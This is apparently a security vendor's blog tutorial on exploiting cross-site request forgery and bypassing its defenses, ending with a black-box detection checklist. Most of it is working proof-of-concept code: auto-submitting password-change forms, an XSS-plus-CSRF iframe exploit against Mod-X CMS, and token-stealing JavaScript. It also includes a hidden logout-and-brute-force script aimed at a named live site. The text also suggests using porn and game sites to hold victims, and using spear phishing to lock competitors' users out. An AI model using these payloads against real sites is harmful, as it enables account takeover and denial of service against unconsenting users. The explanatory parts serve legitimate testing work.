Home / Blog / Discovering Modern CSRF Patch Failures

Discovering Modern CSRF Patch Failures

Basic Refresher

Cross-site request forgery (CSRF/XSRF) vulnerabilities allow an attacker to perform authenticated actions without authenticating as the user. The issue revolves around general browser architecture and its handling of the web origin policy[1]. In particular, issues stem from how it handles same origins and authority. Some of the issues can not be fixed in browsers as the real problem is how web applications handle actions. These vulnerabilities are easy to locate and perform attacks against whilst allowing an attacker to completely compromise an account and/or compromise the host.

The problem is seen when the browser has stored authentication data for the victimsite.com domain/origin. Data such as credential cookies, session cookies, basic/digest authorization depending on attack vector[8], and possibly other stored authentication data the browser manages. This data is used when another domain makes a request for external resources like images, videos, scripts, etc. Here’s how html would be used to grab an image from victimsite.com and load it in attacksite.com’s origin:

<img src=”http://victimsite.com/img.jpg” />

When the user’s browser visits attacksite.com and sees this image tag then it will grab this resource by making the appropriate request for the client. Assume the user is logged in with an “authenticated=yes” cookie. A stripped down request for this image is:

GET /img.jpg HTTP/1.1
Cookie: authenticated=yes
Host: victimsite.com

The authenticated cookie for victim site is added by the browser when making the request for victimsite.com/img.jpg. This allows us to perform authenticated actions without ever having to authenticate ourselves. Read further for theoretical and real-world exploits on how this behavior can be abused. The focus of this article will be around the php language, but csrf issues exist throughout other languages.

Remote Vector

The easiest way to exploit this issue is with cross-origin communication as seen with the previous section’s attacksite.com and victimsite.com image scenario. Please re-read that section if you do not understand how a remote vector (different origin) would work.

Local Vector

While the name does say cross-site, the vulnerability can be exploited in the context of the same origin and never require access to resources from another origin. This is possible by chaining other exploits like cross-site scripting (XSS), which will be covered more later, or simply abusing any form of valid injection points. Think about forums or blogs where you have the ability to upload avatars from a supplied url or use bbcode (bulletin board code, a markup language for forums)[11] to display images or movies in comments.

There is plenty of documentation explaining these fundamental concepts more in depth[10], but the focus is on ways to exploit the issues and bypass modern protections against them. See references in the end for further information.


The GET method in HTTP allows for many options to exploit CSRF vulnerabilities. Here’s an example form to change a user’s password:

<form action=”changepass.php” method=”GET” name=”changepassform”> Username: <input type=”text” value=”” name=”user” />
Password: <input type=”password” value=”” name=”pass” />
<input type=”submit” value=”submit” /></form>

If we make a request for this page attempting to login as the user admin with the password of changeme, the request would be:

GET /changepass.php?user=admin&pass=changeme&submit=submit HTTP/1.1
Cookie: authenticated=yes
Host: victimsite.com

Look at how this request compares to the request for the image seen in the previous section. What happens if html were used as such:

<img src=”http://victimsite.com/changepass.php?user=admin&pass=changeme&submit=submit” />

Once the victim’s browser attempts to grab this resource, they will make the full request with their authentication data, in this example the authenticated cookie. Such behavior allows an attacker to change the victim’s password with an image that will not display (unless src is dynamically switched with a real one).

This attack vector is common in today’s web applications and massive lists of unreported vulnerabilities exist for popular content management systems. This is a perfect opportunity for the beginning bug hunter.


When CSRF vulnerabilities gained public attention, a lot of people decided that simply changing the form method from GET to POST would secure them against this attack. Of course, this is not true and takes little more effort to exploit CSRF via POST. So, how would an attacker go about exploiting a form using the POST method? Let’s take our example form and use the POST method:

<form action=”changepass.php” method=”POST” name=”changepassform”>
Username: <input type=”text” value=”” name=”user” />
Password: <input type=”password” value=”” name=”pass” />
<input type=”submit” value=”submit” /></form>

 You may ask yourself how do we fill in the appropriate input values and get the user to submit the form? Most browsers have a powerful and popular client-side language readily available to use. That language is Javascript and it will allow us to use the DOM (Document Object Model)[9] to submit the form and then use event handlers to do so when the page loads. Let’s take a look at one line that will allow us to automatically submit the form on page load:

<body onload=’document.changepassform.submit();’>

Once the body of the page finishes loading (form is created and accessible) the onload event triggers and submits the document’s (page) form called changepassform. All we need to do is write the values for the user input. Here is how the finished exploit would look like if we wanted to change the password for the user, admin, to changeme.

<html><body onload=’document.changepassform.submit();’>
<form action=”changepass.php” method=”POST” name=”changepassform”>
Username: <input type=”text” value=”admin” name=”user” />
Password: <input type=”password” value=”changeme” name=”pass” />
<input type=”submit” value=”submit” /></form></body></html>

This is usually exploited from another domain, but it is still very possible to exploit the issue locally. A fun trick is to attempt to request the page with GET instead of POST and see if it still executes the action. While the client-side may say POST, the server-side may not care what method is used and let a GET method perform the action. This is caused by $_REQUEST being used and allowing any method of user supplied data to fill the requirement. Let’s take a look at a real vulnerability I found in Kryn CMS:


Even if the application enforces POST, we can still abuse other vectors to plant the script into the page and exploit the issue locally. Our friend here will be reflective XSS, but any kind of script injection vulnerability will work.

Security Attempts

There exist a lot of different patch attempts to secure against CSRF vulnerabilities. I personally have seen quiet a few strange patch attempts because the developers did not understand the full depth of attack vectors, such as changing the form method from GET to POST. I’ve seen developers think the only exploitation vector was locally with an image and they would be secure by enforcing extension checking and character restrictions on forum bbcode that allowed the display of images. Even locally the issue still existed and could be exploited as other tags referenced external resources. The remote attack vector also remained completely untouched.

Next, some of the most common protections you will see implemented today will be discussed. These protections are referrer/location checking, captchas (out of the scope of this document), and nonce tokens. We will start with the defense that’s the most straightforward to bypass, referrer checking.

Referrer Checking

The referrer checking security mechanism is for protection from remote attack vectors. The ideais that the request has to come from the same domain that they are attempting the actions on. If it does not, the referrer check will fail and alert the application the request came from outside of a valid domain. To show you a real-world example, let’s take a look at some vulnerabilities I found in Mod-X CMS:


The referrer protection check seen in Mod-X was:

if (!empty($referer)) { if (!preg_match(‘/^’.preg_quote(MODX_SITE_URL, ‘/’).’/i’, $referer)) {

MODX_SITE_URL is globally defined and you can think of it as the domain that Mod-X is running on. The regex is saying it must start with the defined domain name (victimsite.com) and end
in /. This start and end value checks prevent someone from creating victimsite.comp.attackersite.com to bypass the check. $referer is a variable holding the global php variable $_SERVER[‘HTTP_REFERER’];. Now, if the referrer is not empty and contains the domain name, then the referrer is validated.

This protection can be effective, but definitely not a panacea. Old bugs in places like xmlhttprequest and flash/java allowed you to set the referrer header across origins for the request on behalf of the user[6]. However, these have been taken care of long ago so we will need a more globally acceptable and modern solution. We come back to our old friend XSS.

Through reflective XSS, we have the ability to inject our script into the page. We can use an iframe pointing to XSS that submits the vulnerable form. This type of attack chain can be used to bypass nonce tokens and practically any other form of security surrounding it. Here’s the proof-of-concept exploit abusing the Mod-X vulnerabilities:

<iframe src=”http://victimsite.com/manager/media/ImageEditor/editor.php?img=</title></head><body onload=’document.formcool.submit();’><form name=’formcool’ method=’POST’ action=’http://victimsite.com/manager/index.php?a=34′><input type=’hidden’ name=’id’ value=”><input type=’hidden’ name=’pass1′ value=’admin2′ /><input type=’hidden’ name=’pass2′ value=’admin2′ /><input type=’submit’ name=’save’ value=’Submit+Query’ /></form>” />

The iframe points to an XSS injection found in the img variable of editor.php. It then injects the vulnerable form (password change) and the form submitting javascript into the page. Once the iframe loads, the injection will submit inside of victimsite.com’s origin on behalf of the victim visiting attackersite.com. Because the javascript is submitting from the victimsite.com domain, the referrer checking is bypassed. In this proof of concept, the iframe is not stealthy at all and you would find this hidden if not removed dynamically after success.

Improper Nonce Entropy

Now let’s discuss the most common and known form of defense for CSRF vulnerabilities, nonce tokens. The idea is to use a pseudo-random number used only once, or what’s commonly known as nonce, as a hidden field for the form submission. Some security stipulations are that it’s generated with a secure form of entropy, implemented appropriately, and also validated by the server.

 A nonce is a number that is only generated once and acts as a unique token for the user action.

The nonce is then added to a hidden input field for each form that should require a point of validation before action. Once the form is submitted, the server-side language needs to check if the token is correct. If the token is not valid, the request is not processed. Taking our example password change form, let’s add the hidden nonce check:

<form action=”changepass.php” method=”POST” name=”changepassform”>
Username: <input type=”text” value=”” name=”user” />
Password: <input type=”password” value=”” name=”pass” />
<input type=”hidden” value=”3c8376f8198cd374” name=”token” />
<input type=”submit” value=”submit” /></form>

The value for the hidden token field (3c8376f8198cd374) is where the randomly generated nonce will be placed for each user action. However, there isn’t a simple function like token() to generate secure entropy for the nonce. Because there is no standard function to generate this token, there ends up being several different homegrown solutions for creating and managing the tokens.

The starting tactic I use when checking for weak entropy is to generate a massive amount of the tokens quickly and see how random it really is across the large data set. When performing these requests, be careful because you may DoS the server. Additionally, alarms may be triggered that gets your ip blocked. This test is a tradeoff with the time you have and how thorough you want to check this vector. You may want to do quick bursts to different pages with available tokens on a random time limit between minimum and maximum (5-30 seconds). The speed is important to check for weak time- based entropy or possible entropy source saturation issues.

If you notice the randomization starts off great, then gets weaker later on, you may be saturating or have saturated the entropy source. From here you can abuse the entropy source before you attempt to narrow down the victim’s nonce. However, it’s rare to see such a poor implementation or entropy reduction attack. Instead, let’s talk about patterns for weak algorithms.

Check and see if the nonce value is randomized all the time, random for one action, or random per session. I’ve seen implementations where the nonce is generated until used or a hashed session id is used until a new one is generated on next login or timeout period. Then see what the length is and the character set being used. Is it 4 characters long and only using 0-9 for a character set? Are there static characters being used? Maybe only the least or most significant 4 characters of 16 are actually randomized and the rest is based on a unique value, but not by user, where you can request your own token and then bruteforce the 4 missing characters. You may find such algorithms where a token uses date(), hour/minute on time(), and other known and slower changing values. These types of algorithms will allow for a more reliable bruteforce attack against them.

Conducting bruteforce attacks may end up being a bit complicated and/or not very reliable. Your goal is to get the victim to stay on your site for long enough to generate a valid token for the victim. Techniques for keeping the victim on the attacker’s site mostly involve either direct or generic social engineering. Proof of concepts usually involve game sites (page change in the site should not stop the attack) where the victim can play games while being exploited. Porn websites are a common distribution point used often in real-world exploitation. The most effective will be a targeted and specially crafted page after researching wanted victim’s interests (spear phishing).

For interesting techniques, you will want to look into malware distribution groups and data. Drive-by malware need to have exploit packs finish which may require attacks that take a while to work like large heap sprays. They like using movie/music streaming to keep them on the page while the work gets done in the background.

For use until action or per session tokens, you can attempt to bruteforce a token with the given character set. However, there’s a more elegant solution to this and will bypass server-side token attempt limits. The technique involves the token being used with GET so it is passed via url. We can use browser history tricks like the old CSS history hack[3] which only validates client-side and never needs to touch victimsite.com. While these techniques are out of the scope for this document, I have provided a link to a proof of concept of this technique[4]. The more validation turns to accessible client-side storage, like local storage, local sql databases, and etc., the more may be possible without ever having to generate requests to external origin’s. Thanks to HTML5, this is the way the web is moving to offload from remote servers.

With always random, but weak size and character set, your goal is to generate one good token and constantly hit the form with your generated token until successful. The next question becomes how to tell if the attack was successful or not? If we are talking about a simple password change form exploit from a remote php web server, you can use cURL to attempt to login to the account with your defined values. If successful, stop, if not then continue looping around your chunk of script/code. It is suggested to try a large set of bruteforce attempts before checking if login is successful as to lower lockouts, bruteforce alerts, and large amounts of traffic to victimsite.com.

Bruteforcing isn’t the most elegant solution and there’s lots of ways to deny such simple attacks by invalidating the user/session/ip after many failed token validations attempts.

Next, it’s important to discuss weaknesses in the algorithm itself. The code that floats around most sites for secure generation involve base64 encoding an algorithm that uses time() and another value. However, time() in PHP is based on epoch, which is a known value:

“Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT). “[2]

This means we can generate our own time() locally and not worry about this piece of entropy. The next step is to take a look at other sources of entropy that may be used in the algorithm. Typically this involves something from the user so the token generated from one user is not the same as another user. Because of this there ends up being lots of room for basic mistakes such as using a statically known value like the username. Perhaps such an algorithm:

$token = base64_encode(time() + $username);

The username is used to exploit the password change example, so this value is also known to us. As we can generate the same time() that the remote server would, we now have both pieces of entropy to generate a valid token for the victim’s action. Attacking over the internet will involve some lag time from the local time() generation than the server’s time(), so a little math, response timestamps, and any further validation may be needed. This could end up taking a few attempts during the victim’s visit. Even with these minor issues it is a much more reliable exploit.
Finally, there may also be issues with the language’s use of certain functions. Some function that may have been a secure form of entropy may no longer be secure. Samy Kamkar discovered this and used the discovery to know supposedly random session values to attack Facebook. He then proceeded to make a humorous blackhat presentation (video and/or presentation) out of it that I highly suggest if you are looking for cryptographic weaknesses[7]. These types of issues exist and are generally very dangerous when discovered, so the issues are reported quiet often. It is best to check/follow the language’s bug tracker to find more relevant cryptographic weaknesses.

Improper Nonce Validation

With the harder way to defeat nonce checking is out of the way, let’s talk about improper validation. This vulnerability exists in a lot of web sites including popular sites. What happens is a secure token will be generated and a good implementation used, but the code never validates the token when the actions are attempted. For the example password change form, let’s change nothing about it and keep the hidden nonce token field. Let’s assume that it uses appropriate entropy and a limit on token failures per session. What happens if we were to submit that form without even including the token value or the entire field? If the password still changes it means that they generate a valid nonce, but they never validate against it for the action.

It seems almost unbelievable this would happen in popular/production sites, but I would like to show an example that my friend M.J. Keith found in Facebook’s implementation[5]. Facebook created their token with the name of post_form_id that allowed different user actions. When this field was simply removed from the request, the action was still performed. This makes all the nonce security pointless.

Script Injection Invalidates Most Security

The final form of attack to discuss is chaining vulnerabilities. You can have the best security against CSRF exploits, but if a javascript injection attack exists in the same origin it invalidates any security. The reason is Javascript has access to all html objects and attributes on the page via the DOM. Let’s take our hidden field nonce token:

<input type=”hidden” value=”3c8376f8198cd374” name=”token” />

Let’s also take a look at our simple javascript form submission line:

<body onload=’document.changepassform.submit();’>

By object names you can select the contents of the nonce token and plant it into the appropriate value for your form. The document.changepassform.token.value element should give you access to this data. If the form name is dynamic or just doesn’t have a name, you can also access the forms by using forms[#] and elements by forms[#].elements[#]. These values start at 0 and will increase for each form seen in the document (page). For example, let’s say our changepass form was the first form on the page. We could create our own form and fill in the token with a token from another form or we can submit a form already on the page by filling in everything other than the token and submitting it. Let’s say an injection was found that allows script insertion after the form. Also, let’s say the target form is the first in the document. If the form is:

<form action=”changepass.php” method=”POST” name=”myform”>
Username: <input type=”text” value=”” name=”user” />
Password: <input type=”password” value=”” name=”pass” />
<input type=”hidden” value=”3c8376f8198cd374” name=”token” />
<input type=”submit” value=”submit” /> </form>

Our injection would then be:

<script> document.forms[0].user.value=”admin”; document.forms[0].pass.value=”hello”; document.forms[0].submit();</script>

This allows us to completely bypass any nonce token checking with a reflective script injection.

Detecting Vulnerabilities

There are several ways to detect this type of vulnerability when looking at a web application. Some people do it by inspecting each form with firebug, but I find it easier to look at the requests coming across to see any exploitable background activity. Seeing as I use Firefox I’ll be using the “Live HTTP Headers” (LHH from now on) and “Web Developer’s Toolbar” plugins. We will be using a place called securityoverride.com to play on. The reason I chose this website is I want to show you how to filter out junk traffic to get what you want. It also runs a popular CMS called php-fusion, thus showing you how widespread these issues are.

Let’s begin by starting up LHH and attempting to login. You should notice a lot of background noise. The reason is the site uses ajax chatboxes for the users and it updates frequently. To filter out the noise, the tool can be given a regex expression for blacklists. In the LHH window/tab, navigate over to the “Config” section and check “Exclude URLs with regexp”. If you see something you want to filter then append it to the current exclusions with |texttoexclude. Here is my exclude list for securityoverride:

.gif$|.jpg$|.ico$|.css$|.js$|.png$|chat|check|shoutbox .

With LHH capturing, submit the form and take a look at the parameters being passed. When submitting user as admin and password as blah, this is what I see:

 There are three parameters being passed for the login. The parameters are user_name, user_pass, and login via POST. None of these values are random. Two parameters we may or may not know depending on the attack and one static value we don’t have to worry about (login=Login). Now, you can create an account and keep clicking on the different forms and seeing the background activity to look for attack vectors. Given article size, I will show you one avenue to get started, the logout link. The logout feature uses a basic GET query to log the user out.

Just make a request for /setuser.php?logout=yes to log the current user out. From here, you can check for local attack vectors. We have url given avatars, forum images, signature images, etc. Lots of things that allow for local vectors to log a user out, but some restriction bypassing may be required. The goal of a lone logout csrf is to make the injection reach the front page (shoutboxes are awesome for this) and log everyone out as soon as they log in.

To move things along, I want to instead look at a remote attack vector. We can log a person out and perform login attempts as the victim. These kinds of actions are not usually given a random nonce because it doesn’t directly effect the user. However, let’s think like a malicious attacker and see what is possible with these two actions? Think about business logic flaws. In this case, too much security causing the issue of denying service.

Have you been to a site that employs account lockouts, ip lockouts, session destruction, and etc. after a certain amount of failed login attempts? How about after failed token guess attempts? Exploit attempts? Well, why don’t we attempt to log the user out and bruteforce an account in hopes to lock their own account or ip. Let’s take a look at a script I wrote to do just that:

<iframe src=”http://securityoverride.com/setuser.php?logout=yes” name=”brute” style=”display:none;”></iframe>
<form target=”brute” action=”http://securityoverride.com/news.php” method=”POST” name=”myform”>
<input style=”display:none;” type=”text” value=”” name=”user_name” />
<input style=”display:none;” type=”password” value=”” name=”user_pass” />
<input style=”display:none;” type=”submit” name=”login” value=”Login” onClick=”submitit()” /> </form>
<textarea name=”puthere” rows=”30″ cols=”40″ id=”puthere”>Signed user out of account…</textarea>


var i = 5; // set amount to bruteforce before lockout
var z = 0; // how many hits
hit = setInterval(‘document.forms[0].login.click()’,5000); // click() instead of submit() to pass submit value
function submitit() {

key = Math.random(); // random pass for PoC
document.getElementById(“puthere”).innerHTML = document.getElementById(“puthere”).innerHTML + “\nAttacking admin with “+key;
document.forms[0].user_name.value=”admin”; // static for one user attack (login limits)
document.forms[0].user_pass.value=key; // randomly generated pass
z = z+1;
if (z == i) {
window.clearInterval(hit); // Once lockout is hit, stop attack


</script> </body></html>

The text area will be dynamically updated with actions of the script and everything else is hidden with style=display:none. We are attempting to log the user out and guess passwords for the account “admin” every 5 seconds. You would want to view the iframe to validate the remote vector doesn’t have extra security like referrer checking. Make sure the iframe gives you the appropriate error or you see the appropriate responses in LHH. Running the above script on a remote server shows:

This screenshot validates that the attack works. All wanted parameters are sent via POST and the appropriate response from the victim server is seen (error=3 means login failed). securityoverride.com does not employ login attempt lockouts and a live sample for this magazine may cause issues. I included this to show you how to think about such indirect attacks when looking at the actions available to you. Logins and the like are generally ignored because they can’t be directly used to compromise accounts, but many possibilities exist beyond compromise. My favorite is abusing IPS systems on victimsite.com and sending attack traffic from a victim to get their ip blocked (remove 5 second timer and have fun with fail2ban). What effect could a spear phishing campaign to block people out of a competitor’s product have?


Cross-site request forgery is a very simple attack to perform and can cause devastating effects. These issues exist all over as they are easy to forget or not see value in immediately. I hope I gave you enough information and ammo to test and prove such attack vectors.

Black Box Vulnerability Detection List

Check all user actions for nonce tokens

  • If no nonce token check then look at the http method
    • If GET used then validate action was performed
      • If action performed then validate from another account (unique parameters)
        • If validated then check for local attack vectors through valid injections (signatures, avatars, banners, embedded videos, etc.) or script injection attacks (xss, sql insert, etc.)
          • If no local vectors or local is not needed then validate from remote vector
            • If remote vector does not work, perhaps referrer checking is used
        • If validation fails then check variables and see if user data or any unique data is present in the request
          • If user data, check if you can retrieve that data with client-side attacks like history finding
          • If user data, check if you can retrieve that data with image validation with onerror or relevant event handlers (ex: user data in directory path ofprivate image)
    • If POST used then check if action can be performed with GET ($_REQUEST used)
      • Repeat steps for GET validation with exclusion of valid injections
  • If nonce tokens then check for improper implementation, entropy, and/or validation
    • Generate lots of tokens quickly
      • Be wary of accidentally causing a DoS or getting ip blocked automatically or manually
        • If wary then make slow or chunked requests to random pages with available nonces on randomized timer within minimum and maximum limit (ex: 5-30 seconds).
    • Are the tokens random always, per action, or per session
    • Are the tokens created using remotely accessible content loaded by the user like ajax (<script src=”http://victimsite.com/generate_nonce.js”>)
    • Check if PRNG is based off data we know like time() and/or factual user data (like username)
      • Decode any encoding like base64 if applicable before looking
    • Are the tokens properly validated
      • Perform action without nonce token value
      • Perform action without nonce token field
    • Are the tokens bruteforceable
      • Check for small token size and/or weak character sets (ex: 0-9)
      • Look for patterns in generation (ex: statically placed characters in multiple or all tokens)
        • If it starts off good and gets weaker later on, perhaps entropy exhaustion
      • Fail lots of token checks to find any token guess limits
        • If token guess limits set then see if action uses GET and per action/per session implementation used
          • If requirements met then attempt a client-side attack like css history check to bypass server-side limits
    • If no weaknesses in nonce generation, implementation, or validation then attempt to find script insertion vulnerabilities (xss,sql insert,etc.) to fill value(s) in form dynamically or possibly create own with nonce from other form.


[1] https://tools.ietf.org/html/draft-ietf-websec-origin-01 – Web Origin Policy RFC
[2] https://www.php.net/time – PHP time()
[3] https://blog.jeremiahgrossman.com/2006/08/i-know-where-youve-been.html – CSS Browser History Check
[4] https://securethoughts.com/hacking-csrf-tokens-using-css-history-hack/ – CSRF token bruteforce with CSS history check
[5] http://prominentsecurity.com/?p=119 – Facebook CSRF Invalid Token Validation Attack
[6] https://code.google.com/archive/p/browsersec/wikis/Part2.wiki#Same-origin_policy – Same Origin Bypasses in Current Browsers
[7] http://media.blackhat.com/bh-us-10/whitepapers/Kamkar/BlackHat-USA-2010-Kamkar-How-I- Met-Your-Girlfriend-wp.pdf – Weak Cryptographic Generation of Session ID’s
[8] https://code.google.com/archive/p/browsersec/wikis/Part3.wiki#HTTP_authentication – HTTP Auth Attack Vectors
[9] https://en.wikipedia.org/wiki/Document_Object_Model – DOM
[10] https://www.cgisecurity.com/csrf-faq.html – In-Depth Basics of CSRF/XSRF
[11] https://en.wikipedia.org/wiki/BBCode – BBCode BIOGRAPHY

Alert Logic Threat Intelligence Team
About the Author
Alert Logic Threat Intelligence Team

Related Post

Ready to protect your company with Alert Logic MDR?